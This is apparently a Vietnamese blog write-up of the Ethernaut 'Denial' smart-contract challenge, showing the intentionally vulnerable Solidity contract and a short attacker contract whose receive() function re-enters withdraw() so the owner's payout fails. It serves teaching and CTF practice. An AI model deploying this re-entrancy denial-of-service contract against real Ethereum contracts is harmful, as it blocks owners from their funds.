KienDT

Talk is cheap. Show me the code.

The Ethernaut writeups: 20 - Denial

20. Denial

Nhiệm vụ: bằng các nào đó ngăn owner rút tiền khi gọi withdraw.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Phân tích

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
    uint amountToSend = address(this).balance.div(100);
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    owner.transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

Tại hàm withdraw này lại chuyển tiền cho partner trước khi chuyển cho owner, mà lại không phải chuyển bằng transfer thông thường giống với owner, mà lại chuyển bằng call - hàm không bị giới hạn gas limit tại 2300; đây là một chỉ dẫn quá rõ ràng cho lỗ hổng re-entrancy ta đã quen thuộc. Ta chỉ cần tạo một contract partner, trong đó tiếp tục thực hiện gọi withdraw tại receive là xong.

Solution

Chuẩn bị một contract partner như sau:

contract Rekt {
  Denial dn;
  constructor(address payable dnAddr) public {
    dn = Denial(dnAddr);
  }

  receive() external payable {
      dn.withdraw();
  }
}
  • deploy contract, trong truòng hợp của mình ta được địa chỉ contract mới là 0x7E40F554a71B2E39168f3e6f3AF19ee7B824E1dd

  • gọi hàm setWithdrawPartner với partner là địa chỉ của contract vừa deploy

contract.setWithdrawPartner('0x7E40F554a71B2E39168f3e6f3AF19ee7B824E1dd');
  • Khi này mỗi khi owner gọi withdraw thì tiền sẽ bị partner rút hết trước.

  • Submit & all done!

completed